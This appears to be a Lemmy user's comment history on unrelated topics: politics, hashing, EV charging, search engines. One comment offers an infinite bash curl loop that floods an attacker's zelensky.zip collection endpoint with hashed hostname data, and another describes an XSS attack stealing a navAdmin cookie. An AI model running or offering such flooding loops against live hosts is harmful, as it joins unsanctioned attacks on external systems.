If Obama had stolen a bunch of top secret documents, bragged about sharing then with people who weren't allowed to see them, and subsequently been on trial for a bunch of pretty serious crimes, then yes.

Police officers posting for selfies with a criminal who's currently on trial is a bad look.

Oh weird, it wasn't returning anything a few minutes ago. I wonder if we pissed then off lol

It's essentially to add a unique salt to each machine that's doing this, otherwise they'd all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it's very unlikely they'd even try to crack one. But even if they did try and were successful, there isn't really anything nefarious they can do with your machines local name.

Here's a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; done

Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It'll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

The encoded strings are https://zelensky(dot)zip/save/ and navAdmin

[–] Gellis12@lemmy.ca 3 points 2 years ago

Not just that, it looks for a navAdmin cookie in your browser and sends that to zelensky(dot)zip/save/<your cookie here> in the form of a GET request.

I still run my own xmpp server!

But I'm the only one who has an account on it :/

It's pretty common for a laptop to have a dedicated gpu, plus the integrated gpu that's actually part of the cpu.

I mean, the one and only reason they exist was because Volkswagen got caught cheating diesel emissions tests. As part of their punishment, they were required to create an ev charging network, and it seems they've been dragging their heels the whole time, trying to make it fail.

Can confirm. I got the shots, and now my doctor says I only have about 50-70 years left to live! Who can I sue for losing my immortality?

Honestly, I switched to ddg as soon as Google rolled out amp, and found that it was better than google at finding relevant results
